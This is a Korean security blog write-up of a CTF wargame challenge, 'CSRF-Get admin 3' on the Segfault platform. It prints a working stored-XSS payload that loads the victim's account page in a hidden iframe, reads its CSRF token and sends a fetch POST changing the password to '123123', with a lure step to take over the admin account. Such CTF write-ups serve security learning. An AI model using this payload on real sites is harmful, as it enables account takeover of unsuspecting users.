<Segfault> 워게임 문제풀이 [CSRF-Get admin 3]

2024. 7. 7. 02:01·워게임 문제풀이/Segfault

 

목표 : admin 계정으로 로그인 하라!

문제지


<회원가입>

 

우선 'james' 라는 이름으로 회원가입을 진행해 준 후 마이페이지에서 비밀번호 변경 요청을 살펴보겠습니다.

 

 


<마이페이지>

(비밀번호 변경)

 

 

비밀번호를 변경해주고 요청을 Burp 로 살펴보았습니다.

POST 방식으로 전달하면서 , 인증방식으로 csrf_token 을 도입한 것을 확인하실수 있습니다.

 

즉! 요청을 변조하려면 csrf_token 이 필요하다는 뜻입니다.

 

 


 

CSRF_TOKEN 이 발급되는 양상을 살펴보기위해 마이페이지를 여러번 출입을 해줍니다.

 

첫번째 방문시 응답페이지의 생성된 csrf_token

 

두번째 방문시 응답페이지의 생성된 csrf_token

 

세번째 방문시 응답페이지의 생성된 csrf_token

방문할때마다 계속 토큰이 새로 발행되는것을 볼 수 있습니다.

즉 이 토큰이 발행되는 조건은 '마이페이지 방문' 이라는 것을 알수있습니다.

 

그러면 CSRF 공격 시나리오를 생각해볼수 있습니다.

(XSS 취약점을 찾았다고 가정)

 

<시나리오>

1st. iframe 태그를 통해 마이페이지를 띄운다.

 

2nd. 마이페이지 안에 dom 파일에서 csrf_token 부분을 가져온다.

 

3rd. csfr_token 을 포함한 POST 요청을 fetch 함수로 보내준다

 

 

시나리오를 구현하기전 XSS 취약점을 찾아줍니다.


<XSS 취약점 찾기>

(게시물 작성)

 

게시글 작성 (내용 : < " ' >) 특수문자 사용가능 확인!

 

이후 POC 코드삽입을 통해 자바스크립트를 실행해 봅니다.


 

POC 코드 삽입 POC 코드 동작확인!

 

동작이 확인됐으니 저희는 JAVASCRIPT 를 통해서 CSRF 공격을 가할수 있게되었습니다!

 

이제 시나리오를 구현해봅시다!

 


1st . iframe 으로 마이페이지 띄우기

 

iframe 태그 삽입(주소 : 마이페이지 ) iframe 동작확인

 

 

iframe 으로 마이페이지를 게시물에 띄우기에 성공했습니다.

 

이제 게시물 페이지에서 마이페이지 정보를 가져올수 있게되었다는 뜻입니다.

 

하지만 저렇게 대놓고 있으면 너무 수상하니깐 style="display:none;" 속성을 통해 안보이게 처리해주겠습니다.

iframe 숨기기

 

 

 


 

2nd . 마이페이지에 접근해서 csrf_token 가져오기

 

대략 마이페이지의 form 태그 부분은 이렇게 생겼습니다.

<form method = "post" action = "mypage_update.php">
                <div class = "hori">
                    <i class="far fa-user fa-2x"></i>
                    <input name = "id" type = "text" placeholder="james"/>
                </div>
                <div class = "hori">
                    <i class="fas fa-birthday-cake fa-2x"></i>
                    <input name = "info" type = "text" placeholder="Nothing..."/>
                </div>
                <div class = "hori">
                    <i class="fas fa-lock fa-2x"></i>
                    <input name = "pw" type = "password" placeholder="변경할 비밀번호"/>
		    <input type="hidden" name="csrf_token" value="3f198235a6e295f5baf226ca94f433c9">
                </div>
                <div class = "hori"><input type = "submit" value = "Update" id = "signup-btnl"/></div>
            </form>

 

저희가 필요한 부분은 csrf_token 부분입니다.

즉 마이페이지의 dom 파일에 접근하여 ,name="csrf_token" 인 부분의 value 값을 가져오면 되는것입니다.

 

이것을 위한 스크립트 코드를 만들어 주겠습니다.

 

<script>
var cookie=document.cookie;
window.addEventListener('load',function(){
var tag=document.getElementById('myframe');
var dom = tag.contentDocument;

var token=dom.getElementsByName('csrf_token')[0].value;
console.log(token);  // 토큰을 잘 가져왔는지 개발자 도구에서 출력
</script>

 

1. httponly 설정이 되어있을진 모르겠지만 cookie 값을 혹시모르니 가져와줍니다.

 

2. iframe 이 로딩 된후 동작하기 위해서 window.addEventListener 함수를 사용해줍니다.

 

3. dom 은 마이페이지의 document 를 의미합니다.

 

4. dom 에 접근하여 name이 csrf_token 인 부분의 value 값을 가져와줍니다.

 

5. 잘 가져왔는지 개발자 도구에서 체크합니다.

 


<CSRF 토큰탈취 동작확인>

 

 

 

토큰값이 잘 저장된 것을 출력을 통해 확인했습니다!

이제 이 값들을 이용하여 fetch 함수를 통해 POST 요청을 보내주겠습니다! 

 


 

3nd. fetch 함수를 통한 POST 요청 보내기(비밀번호 변경 요청)

 

비밀번호 변경 요청 (Burp Suite)
POST /csrf_3/mypage_update.php HTTP/1.1
Host: ctf.segfaulthub.com:7575
Content-Length: 63
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cache-Control: max-age=0
Accept-Language: ko-KR
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://ctf.segfaulthub.com:7575
Referer: http://ctf.segfaulthub.com:7575/csrf_3/notice_read.php?id=202&view=1
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=3e3kl60nmuc8je6nok8l756pks
Connection: keep-alive

id=&info=&pw=123123&csrf_token=3a8f9deedf88b3d51961869e3321a9f8

 

 

 

<< fetch 함수까지 넣은 최종코드 >>

↓

 

 

<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" id="myframe" style="display:none;" ></iframe>



<script>
var cookie=document.cookie;
window.addEventListener('load',function(){
var tag=document.getElementById('myframe');
var dom = tag.contentDocument;

var token=dom.getElementsByName('csrf_token')[0].value;
console.log(token);


fetch('http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php', {
  method: 'POST',
  headers: {
    'Cache-Control': 'max-age=0',
    'Accept-Language': 'ko-KR',
    'Upgrade-Insecure-Requests': '1',
    'Origin': 'http://ctf.segfaulthub.com:7575',
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Referer': 'http://ctf.segfaulthub.com:7575/csrf_3/mypage.php?user=james',
    'Accept-Encoding': 'gzip, deflate, br',
    'Cookie': 'PHPSESSID='+cookie,
    'Connection': 'keep-alive'
  },
  body: 'id=&info=&pw=123123&csrf_token='+token
}).then(response => { //회원정보수정했다는 alert 가 뜨면 수상하니깐 요청은 보내고 응답은 받지않는다.
}).catch(error => {	
});//catch 닫아주기
});// addEventListener 닫아주기
</script>

 

 

 

 

 

게시물에 작성한 스크립트 내용을 넣어준후 업로드를 시켜줍니다.

이후 게시물에 접근을 하게되면

.

.

.

.

.

 

게시물 화면 Burp Suite 로 본 POST 요청

 

 

게시물에 접근하자 Burp Suite 에선 '마이페이지로 토큰을 포함한 비밀번호 변경요청' 을 보낸것을 확인할수 있습니다.

 

비밀번호 변경요청 성공

 

 

이제 이 게시물에 접속만하면 비밀번호가 '123123' 으로 바뀔것입니다.

이제 관리자가 이 게시물에 접근하게 만들어 줍니다.

 


<관리자 게시물 접근유도>

 

 

이제 예상대로면 관리자 아이디의 비밀번호가 123123 으로 변경됐을것 같습니다.

로그인 시도해줍니다.


 

 

로그인을 성공하였고 , 플래그값을 획득할 수 있었습니다!!!

 


긴 글 읽어주셔서 감사합니다!

'워게임 문제풀이 > Segfault' 카테고리의 다른 글

<Segfault> 워게임 문제풀이 [CSRF-Get admin 2]  (0) 2024.07.06
<Segfault> 워게임 문제풀이 [CSRF-Get admin 1]  (0) 2024.07.06
<Segfault> 워게임 문제풀이 [Steal Info]  (0) 2024.07.02
<Segfault> 워게임 문제풀이 [XSS Challenge]  (1) 2024.07.02
<Segfault> 워게임 문제풀이 [XSS 5](feat.자기반성)  (0) 2024.07.01
'워게임 문제풀이/Segfault' 카테고리의 다른 글
  • <Segfault> 워게임 문제풀이 [CSRF-Get admin 2]
  • <Segfault> 워게임 문제풀이 [CSRF-Get admin 1]
  • <Segfault> 워게임 문제풀이 [Steal Info]
  • <Segfault> 워게임 문제풀이 [XSS Challenge]
무너박사
무너박사
IT 보안 블로그 입니다. 제가 작성하는 블로그가 누군가의 공부에 조금이라도 도움이 되길 바라며 작성하였습니다.
  • 무너박사
    무너박사의 연구일지
    무너박사
  • 전체
    오늘
    어제
    • 분류 전체보기 (104)
      • WEB 지식 (3)
      • 웹해킹 (13)
      • 웹개발(PHP-Mysql) (12)
      • 웹개발(JSP-Oracle) (2)
      • 워게임 문제풀이 (19)
        • Segfault (17)
        • Dreamhack (2)
      • SQL (3)
      • Python (2)
      • AI (1)
        • LLM(Large Language Model) (1)
      • Kail Linux (3)
      • 잡다한 지식 (2)
      • 모바일 앱개발(Kotlin-PHP-Mysql) (13)
      • 모바일 앱해킹(Android) (31)
        • Frida Lab (2)
        • Android DIVA (8)
        • Insecure Bank (20)
      • 안드로이드 위협 탐지 및 우회 (0)
        • 루팅 탐지 & 우회 (0)
        • 디버깅 탐지 & 우회 (0)
        • 에뮬레이터 탐지 & 우회 (0)
        • Frida 탐지 & 우회 (0)
  • 블로그 메뉴

    • 링크

    • 공지사항

    • 인기 글

    • 태그

      normaltic
      php
      안드로이드 스튜디오
      워게임
      모바일앱개발
      시스템해킹
      취업반6기
      리패키징
      인시큐어뱅크
      취업반 6기
      android diva
      sql injection
      Blind sql injection
      웹해킹
      칼리리눅스
      Android Studio
      MySQL
      인시큐어 뱅크
      해킹
      앱해킹
      모의해킹
      insecure bank
      mobile diva
      모바일 앱해킹
      모바일 앱개발
      Koltin
      dom based xss
      Kotlin
      XSS
      취업반
    • 최근 댓글

    • 최근 글

    • hELLO· Designed By정상우.v4.10.3
    무너박사
    <Segfault> 워게임 문제풀이 [CSRF-Get admin 3]
    상단으로

    티스토리툴바